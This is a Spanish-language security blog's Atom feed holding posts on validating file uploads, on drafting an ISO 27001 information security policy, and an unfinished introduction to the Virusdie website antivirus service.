<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4993754786350617036</id><updated>2025-05-29T20:09:25.158-05:00</updated><category term="linux"/><category term="SO"/><category term="sistema operativos"/><category term="tutoriales"/><category term="CentOS"/><category term="aseguramiento"/><category term="ethical hacking"/><category term="apache"/><category term="manuales"/><category term="Unix"/><category term="hardening"/><category term="herramientas"/><category term="securizar"/><category term="cursos"/><category term="pentesting"/><category term="plantilla"/><category term="template"/><category term="analisis"/><category term="analisis forense"/><category term="windows"/><category term="aplicaciones"/><category term="ciberseguridad"/><category term="distribucion"/><category term="kernel"/><category term="nginx"/><category term="shell"/><category term="ssh"/><category term="tool"/><category term="ubuntu"/><category term="CMS"/><category term="Computacion forense"/><category term="GnuPG"/><category term="Joomla"/><category term="analisis de malware"/><category term="cifrado"/><category term="htaccess"/><category term="jsecure"/><category term="lenguaje"/><category term="malware"/><category term="mint"/><category term="robots"/><category term="scanner"/><category term="2fa"/><category term="C"/><category term="CEH"/><category term="Cifrado Asimetrico"/><category term="Colombia"/><category term="DLP"/><category term="Enigmail"/><category term="GNU"/><category term="Grampus"/><category term="IBM"/><category term="ISO 27001"/><category term="ISO 27002"/><category term="ISO 27003"/><category term="Jmeter"/><category term="Kleopatra"/><category term="Modsecurity"/><category term="Moodle"/><category term="OpenSSL"/><category term="PGP"/><category term="PHP"/><category term="Política"/><category term="S.O"/><category term="SGSI"/><category term="Safe Exam Browser"/><category term="Script"/><category term="Seginfo"/><category term="Sparta"/><category term="Stress Testing"/><category term="USB"/><category term="VeraCrypt"/><category term="WebEx"/><category term="aix"/><category term="antivirus"/><category term="apple"/><category term="auditoria web"/><category term="authy"/><category term="base de datos"/><category term="bash"/><category term="bd"/><category term="burp suite"/><category term="cibercrimen"/><category term="cisco"/><category term="comandos"/><category term="diseño"/><category term="fedora"/><category term="figerprinting"/><category term="footprinting"/><category term="fuga de informacion"/><category term="hacking"/><category term="ipad"/><category term="laboratorio"/><category term="mac"/><category term="masscan"/><category term="metasploit"/><category term="mobile forensic"/><category term="moloch"/><category term="networking"/><category term="noticia"/><category term="openpgp"/><category term="oracle"/><category term="pack"/><category term="port scanner"/><category term="programacion"/><category term="pruebas de estres"/><category term="pruebas de rendimiento"/><category term="santoku"/><category term="scan port"/><category term="seguridad"/><category term="seguridad de la informacion"/><category term="shellshock"/><category term="steve jobs"/><category term="tablet"/><category term="tema"/><category term="theme"/><category term="thunderbird"/><category term="transformacion"/><category term="vb"/><category term="visual basic"/><category term="web hacking"/><category term="xp"/><title type='text'>Actualidad Informatica</title><subtitle type='html'>Blog personal Sobre seguridad de la informacion, con actualidades de las normas de seguridad, Ethical Hacking, manuales y tutoriales de lenguajes de programación- codigos fuentes y Noticias</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>55</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-5333884500651258503</id><published>2018-04-27T09:31:00.001-05:00</published><updated>2018-04-27T09:31:58.090-05:00</updated><title type='text'>Validación de extensión y código en formularios de carga de archivos</title><content type='html'>La programación segura no es mas que las buenas practicas o metodologías aplicadas al desarrollo de software, las validaciones de código o en este caso de las extensiones de los archivos que los usuarios suben a través de un formulario diseñado para este propósito no se deben obviar.&lt;br /&gt;
&lt;br /&gt;
Hoy en día es lamentable ver como grandes compañías, continúan omitiendo las buenas practicas, como también las de contar con personas especializadas en seguridad o RedTeam, para las pruebas de seguridad a las aplicaciones que están por salir a producción.&lt;br /&gt;
&lt;br /&gt;
Escribo este articulo, ya que hace casi un año identifique un simple error en un formulario de carga de archivo en una gran compañía de telecomunicaciones en Colombia. la cual permite otorgar un acceso al servidor y posteriormente acceso completo a traves de uno de los usuarios y su llave SSH, el cual notifique en su momento. y es mas lamentable que a dia de hoy esta vulnerabilidad siga presente.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Correo de notificación:&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB0jpP19me7n8168fZ2VmjzGPEO0EsT8Avh-CPQN2Sk7FprshID-OfF0zKxzC-Ubm7mEllmvBYSttWRsJ7J4hNBdaV4FlbloDfwdHbqKiNuEE5nO3VwMsUWJQ1PktIJyDW9F0r5doRa4A/s1600/correo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1500&quot; data-original-width=&quot;917&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB0jpP19me7n8168fZ2VmjzGPEO0EsT8Avh-CPQN2Sk7FprshID-OfF0zKxzC-Ubm7mEllmvBYSttWRsJ7J4hNBdaV4FlbloDfwdHbqKiNuEE5nO3VwMsUWJQ1PktIJyDW9F0r5doRa4A/s1600/correo.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
En su momento se recibió una respuesta, pero al parecer las diferentes áreas no se comunican o su dpto de ciberseguridad esta muy verde o simplemente no existe.&lt;br /&gt;
&lt;br /&gt;
A pesar de ser una vulnerabilidad de hace décadas es la falta de validación la que permite que hoy en dia se puedan seguir explotando.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;¿Como evitarlo?&lt;/b&gt;&lt;br /&gt;
Existen miles de forma de realizar validaciones a las extensiones o archivos que se estén subiendo de acuerdo al tipo de archivo y del lenguaje de programación.&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;b&gt;Hacer uso de&amp;nbsp;.htaccess:&lt;/b&gt;&amp;nbsp;Este simple archivo siempre sera un aliado y puede ser una capa mas de seguridad en el caso de contar con mejores opciones. de lo posible siempre ubicar el archivo en la raiz no en la misma carpeta que se desea proteger.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Realice validaciones del lado cliente y servidor: &lt;/b&gt;Las validaciones no pueden ser en un solo lado, siempre optar por validar tanto del lado cliente como en el servidor, valide el MIME Type, valide el encabezado, compruebe las expresiones regulares del archivo, compruebe las extensiones, limpie las dobles o multiples extensiones&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Realice listas blancas, nunca lista negras: &lt;/b&gt;Las listas negras siempre tendrán como desventajas el tratar de conocer lo desconocido. opte por lo que conoce.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Realice pruebas de seguridad: &lt;/b&gt;Siempre es bueno contratar los servicios de un tercero para realizar pruebas de ethical hacking cuando el servicio o aplicación saldrá a producción y sera accesible por miles o millones de usuarios.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/5333884500651258503/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2018/04/validacion-de-extension-y-codigo-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/5333884500651258503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/5333884500651258503'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2018/04/validacion-de-extension-y-codigo-en.html' title='Validación de extensión y código en formularios de carga de archivos'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB0jpP19me7n8168fZ2VmjzGPEO0EsT8Avh-CPQN2Sk7FprshID-OfF0zKxzC-Ubm7mEllmvBYSttWRsJ7J4hNBdaV4FlbloDfwdHbqKiNuEE5nO3VwMsUWJQ1PktIJyDW9F0r5doRa4A/s72-c/correo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-2339520594042252286</id><published>2015-07-06T14:51:00.002-05:00</published><updated>2015-07-06T14:51:06.716-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ISO 27001"/><category scheme="http://www.blogger.com/atom/ns#" term="ISO 27002"/><category scheme="http://www.blogger.com/atom/ns#" term="ISO 27003"/><category scheme="http://www.blogger.com/atom/ns#" term="Política"/><category scheme="http://www.blogger.com/atom/ns#" term="Seginfo"/><category scheme="http://www.blogger.com/atom/ns#" term="seguridad de la informacion"/><category scheme="http://www.blogger.com/atom/ns#" term="SGSI"/><title type='text'>Política de SEGINFO bajo el contexto de la norma ISO / IEC 27001</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
En el &amp;nbsp;desarrollo de la organización de gestión de seguridad de la información, lo que puedo se puede llegar a decir de la política de seguridad de la información es que ademas de ser un documento exigido por la norma es uno de los documento mas útil e importante en la gestión de la seguridad de la información.&lt;br /&gt;
&lt;br /&gt;
Pero redactar una política de seginfo no es tan facil como parece. Este documento es uno de los primeros requisitos exigidos por la norma &lt;b&gt;ISO 27001&lt;/b&gt;, en el marco del desarrollo del &lt;b&gt;SGSI&lt;/b&gt; (&lt;b&gt;S&lt;/b&gt;istema de &lt;b&gt;G&lt;/b&gt;estión de la &lt;b&gt;S&lt;/b&gt;eguridad de la &lt;b&gt;I&lt;/b&gt;nformación), pero el trabajo técnico y redacción de este no puede ser completamente implementado en los primeros pasos de la construcción del &lt;b&gt;SGSI.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Esta debe ser redactada gradualmente en cada etapa del desarrollo, implementación, monitoreo, evaluación y mejora del &lt;b&gt;SGSI&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;NTC-ISO / IEC 27001&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
De acuerdo con los requisitos de la norma &lt;b&gt;ISO / IEC 27001. &lt;/b&gt;La organización debería hacer lo siguiente:&lt;br /&gt;
Definir una política SGSI basada en las características de la organización de la empresa, su ubicación, sus activos y tecnología que:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Incluye el concepto, los objetivos, directrices y principios para la acción en el campo de la seguridad de la información.&lt;/li&gt;
&lt;li&gt;Tiene en cuenta las necesidades de la empresa, los requisitos legales y reglamentarios, y las obligaciones de seguridad contractuales.&lt;/li&gt;
&lt;li&gt;Es coherente con el contenido estratégico de la organización, la gestión de riesgos en el marco de los cuales se ha desarrollado y mantenido el SGSI.&lt;/li&gt;
&lt;li&gt;Establece los criterios para la evaluación y tratamiento de riesgos.&lt;/li&gt;
&lt;li&gt;Es aprobado por la alta gerencia.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;NTC-ISO / IEC 27002&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Desde el punto de vista de la norma, el propósito de la política de seguridad de la información es:&lt;/div&gt;
&lt;div&gt;
Asegurar la gestión, apoyo de la gerencia hacia la seguridad de la información de acuerdo con los requerimientos del negocio, las leyes y reglamentos pertinentes.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
La alta gerencia debe establecer una dirección clara en línea con los objetivos del negocio y demostrar su apoyo y compromiso con respecto a la seguridad de la información a través del desarrollo y el apoyo de la política de seginfo dentro de la organización.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Se deben establecer contactos con especialistas externos o grupos expertos en seguridad, tambien deben ser incluidas las autoridades competentes, para mantenerse al tanto de las tendencias de la industria, estándares y métodos de evaluación, &amp;nbsp;para proporcionar los puntos adecuados de contacto al manejar eventos e incidentes de seguridad de la información. Ademas se debe fomentar un enfoque multidisciplinario para la seguridad de la información.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
La Política de Seguridad debe ser aprobada por la alta gerencia, debe ser publicada y comunicada a todos los empleados de la organización y los terceros pertinentes a través de la alta gerencia.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Se debe de establecer la responsabilidad de gestión, así como para presentar el enfoque de la organización para la gestión de seguridad de la información. El documento, que establece una política debe incluir disposiciones relativas a:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Definición de seguridad de la información, sus objetivos generales y ámbito de aplicación, así como los valores de referencia de seguridad como una herramienta que ofrece la posibilidad de compartir la información.&lt;/li&gt;
&lt;li&gt;El apoyo a los objetivos y principios de la seguridad de la información en línea con la estrategia y los objetivos de negocio.&lt;/li&gt;
&lt;li&gt;Un Enfoque para el establecimiento de medidas y herramientas para el monitoreo y control de los efectos, y su aplicación, incluyendo la estructura de la evaluación de riesgos y gestión de riesgos.&lt;/li&gt;
&lt;li&gt;Una breve explicación de los más esencial para la organización en cuanto a las políticas de seguridad, los principios, las normas y los requisitos de cumplimiento, tales como:&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;Circle&quot;&gt;
&lt;li&gt;Cumplimiento de los requisitos legales y las obligaciones contractuales&lt;/li&gt;
&lt;li&gt;Concienciar, la educación y la formación en materia de seguridad.&lt;/li&gt;
&lt;li&gt;Gestión de la continuidad del negocio.&lt;/li&gt;
&lt;li&gt;Responsable de las violaciones de la política de SegInfo&lt;/li&gt;
&lt;li&gt;La determinación de las obligaciones generales y específicas de los empleados bajo la gestión de seguridad de la información, incluyendo los incidentes de seguridad de la información.&lt;/li&gt;
&lt;li&gt;Enlaces a documentos que complementan la política de seguridad de la información, como las políticas más detalladas y procedimientos de seguridad para los sistemas de información específicos, así como las normas de seguridad que deben seguir los usuarios.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Esta política de la seguridad de la información debe darse a conocerse a todo personal de la organización de forma relevante, accesible y compresible . de aquí la construcción de ideas y mecanismos para llegar a concienciar a empleados en sus diferentes areas.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Si esta es distribuida a terceros debe existir un apartado a la no divulgación del contenido y protegida toda información bajo acuerdos de confidencialidad.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;NTC-ISO / IEC 27003&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Este estándar recomienda lo siguiente:&lt;/div&gt;
&lt;div&gt;
Los datos iniciales a tomar:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Prioridades para el desarrollo de SGSI de la organización - Objetivos generalizados y Listado de Requisitos.&lt;/li&gt;
&lt;li&gt;Elaboración de descripciones de casos de SGSI para el negocio y el plan del proyecto para su aprobación por la alta gerencia y la aprobación original del proyecto SGSI.&lt;/li&gt;
&lt;li&gt;Alcance y limite del SGSI&lt;/li&gt;
&lt;li&gt;Definición de requisitos de seguridad de la información para el proceso del SGSI.&lt;/li&gt;
&lt;li&gt;Determinación de los activos dentro del alcance del SGSI&lt;/li&gt;
&lt;li&gt;Evaluación de la seguridad de la información.&lt;/li&gt;
&lt;li&gt;Los resultados de la evaluación de riesgos y la selección de objetivos y controles.&lt;/li&gt;
&lt;li&gt;Desarrollar una estructura final de la organización para la seguridad de la información&lt;/li&gt;
&lt;li&gt;Desarrollar un marco para la documentación del SGSI.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Es necesario&amp;nbsp;documentar la posición estratégica de la gestión y administración en relación con los objetivos de seguridad de la información en relación con su uso del SGSI.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Los ejemplos de la política de seguridad de la información pueden extraerse de libros de referencia, Internet, comunidades de interés y asociaciones sectoriales de la industria. Las declaraciones y consejos se pueden encontrar en los informes anuales, otros documentos de política o documentos &amp;nbsp;de orientación.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En cuanto a la cantidad real de la documentación en la política puede haber diferentes interpretaciones y requisitos. Esta documentación debe ser resumida para que los empleados comprendan la importancia de la política de la organización. Además, debe mostrar claramente cuáles son los objetivos a alcanzar.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
El tamaño y la estructura de la política de seguridad de la información deben fortalecer algunos documentos utilizados en la siguiente etapa del proceso, para la introducción del SGSI.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Para las grandes organizaciones con estructura compleja (por ejemplo, con una amplia gama de diferentes áreas de actividad) puede ser necesaria la creación de una política común y una variedad de políticas de niveles inferiores que se adaptan a las áreas específicas de la actividad.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
La política propuesta (Con control de versiones) debe ser sometida a verificación cruzada ,establecida y aprobada por la gerencia. Después del establecimiento de grupos o líder de la operación o entidades similares que aprueba la política de seguridad de la información. Para que luego pueda ser comunicada a cada empleado de la organización de una manera adecuada.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
La salida debe ser un documento que describe politicas y objetivos y los documentos aprobados por la dirección de la política del SGSI. Este documento debe ser aprobado nuevamente en la próxima fase del proyecto, ya que depende de los resultados de la evaluación de riesgos.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;Politica de ejemplo&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
El siguiente es un ejemplo de una política de seguridad de la información, mostrando su estructura y un ejemplo del contenido.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Política&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&amp;nbsp;de seguridad de la&amp;nbsp;información&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Resumen de la&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;política&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
La información siempre debe protegerse con independencia de su forma y el método de su distribución, transmisión y almacenamiento.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Introducción&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
La información puede existir en muchas formas diferentes. Puede ser impresa o escrita en papel, almacenada electrónicamente, transmitida por correo o por el uso de dispositivos electrónicos, o transmitida de forma oral en el curso del diálogo.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
La redacción de este documento es para concienciar &amp;nbsp;la protección de la información de una variedad de amenazas, diseñado para asegurar la continuidad del negocio, reducir al mínimo el riesgo del negocio y maximizar el retorno de las inversiones y ofrecer oportunidades de negocio.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;font-size: x-large;&quot;&gt;Alcance&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Esta política se aplica a todos los empleados de la organización.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;font-size: x-large;&quot;&gt;Objetivos&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li&gt;Proteger, &amp;nbsp; preservar &amp;nbsp; y &amp;nbsp; administrar &amp;nbsp; objetivamente &amp;nbsp; la &amp;nbsp; información &amp;nbsp; de &amp;nbsp; la &amp;nbsp;organización.&lt;/li&gt;
&lt;li&gt;Protección de la información confidencial de los clientes, desarrollo de productos y planes de marketing.&lt;/li&gt;
&lt;li&gt;Preservar la integridad de los registros contable, Backup, etc...&lt;/li&gt;
&lt;li&gt;El cumplimiento de los controles de acceso a los recursos de red internos de la organización.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;font-size: x-large;&quot;&gt;Responsabilidades&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Cada ejecutivo es responsable de asegurar que el personal que trabaja bajo su dirección, la protección de la información &amp;nbsp;de acuerdo con las normas de la organización.&lt;/li&gt;
&lt;li&gt;Los propietarios de activos de información, son responsables de su clasificación, mantenimiento y actualización.&lt;/li&gt;
&lt;li&gt;Es responsabilidad de la alta gerencia la aprobación de este documento.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Políticas&lt;/b&gt;&lt;/span&gt;&lt;b style=&quot;font-size: x-large;&quot;&gt;&amp;nbsp;relacionadas&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Las siguientes políticas detalladas contienen principios y recomendaciones sobre aspectos específicos de seguridad de la información:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li&gt;Sistema de Gestión de Políticas de Seguridad de la Información (SGSI)&lt;/li&gt;
&lt;li&gt;Política de control de acceso&lt;/li&gt;
&lt;li&gt;Politica de escritorios y pantallas limpias&lt;/li&gt;
&lt;li&gt;Politica de software no autorizados.&lt;/li&gt;
&lt;li&gt;Politica de copias de seguridad o backup.&lt;/li&gt;
&lt;li&gt;Politicas de seguridad de teletrabajo.&lt;/li&gt;
&lt;li&gt;Politicas de intercambio de informacion.&lt;/li&gt;
&lt;li&gt;Gestion y clasificacion de documentacion.&lt;/li&gt;
&lt;li&gt;Protecion de la privacidad y la privacidad de los datos.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;div&gt;
Todas estas políticas son compatibles con:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Identificación del riesgo, proporcionando los fundamentos de las herramientas de gestión que pueden utilizarse para detectar defectos en el diseño e implementación del sistema.&lt;/li&gt;
&lt;li&gt;Tratamiento de riesgos, ayudando en la definición de los métodos de procesamiento para las vulnerabilidades y amenazas específicas.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/2339520594042252286/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/07/politica-de-seginfo-bajo-el-contexto-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/2339520594042252286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/2339520594042252286'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/07/politica-de-seginfo-bajo-el-contexto-de.html' title='Política de SEGINFO bajo el contexto de la norma ISO / IEC 27001'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-8151665802115250737</id><published>2015-06-19T11:00:00.000-05:00</published><updated>2015-06-20T16:04:50.284-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="analisis de malware"/><category scheme="http://www.blogger.com/atom/ns#" term="antivirus"/><category scheme="http://www.blogger.com/atom/ns#" term="aseguramiento"/><title type='text'>Virusdie - Un AV+FW para sitios web</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcSMEXTeh1PWeLobqK4s0JapiVB7ILibtLziHgqKunaU3imUotduw471Ybwdr4D8K2Cq5FMo4pJq-r6lwGoLLuD2Q16asoMXNLDBHx98IWYgj4DcVg6-1Reg_qIVN4uniueiEueERtmuQ/s1600/logo-virusdie.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;118&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcSMEXTeh1PWeLobqK4s0JapiVB7ILibtLziHgqKunaU3imUotduw471Ybwdr4D8K2Cq5FMo4pJq-r6lwGoLLuD2Q16asoMXNLDBHx98IWYgj4DcVg6-1Reg_qIVN4uniueiEueERtmuQ/s400/logo-virusdie.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Este es un nuevo sistema de alerta de malware en sitios web en su momento se encuentra en su fase beta, pero el sistema se ve prometedor para usuarios comunes y no tan comun.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;¿Que es Virusdie?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;&quot; style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;Es un AV y FW en la nube diseñado para tratar automáticamente el malware alohado en los sitios web. Segun los desarrolladores protege contra ataques de re-infección, XSS / SQL Injection y actividades sospechosas, e&lt;/span&gt;&lt;span class=&quot;&quot; style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;l servicio está dirigido a webmasters, y cualquier propietario de sitios web, que prefieren pasar el menor tiempo preocupandose por la seguridad de su sitio y hechar a un lado el esfuerzo para analizar, encontrar y eliminar las fuentes y consecuencias de la infección.&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;&quot; style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://virusdie.ru/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Virusdie&lt;/a&gt;&lt;/b&gt; encuentra y realiza correcciones de código&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;malicioso&lt;/span&gt;&lt;span class=&quot;&quot; style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 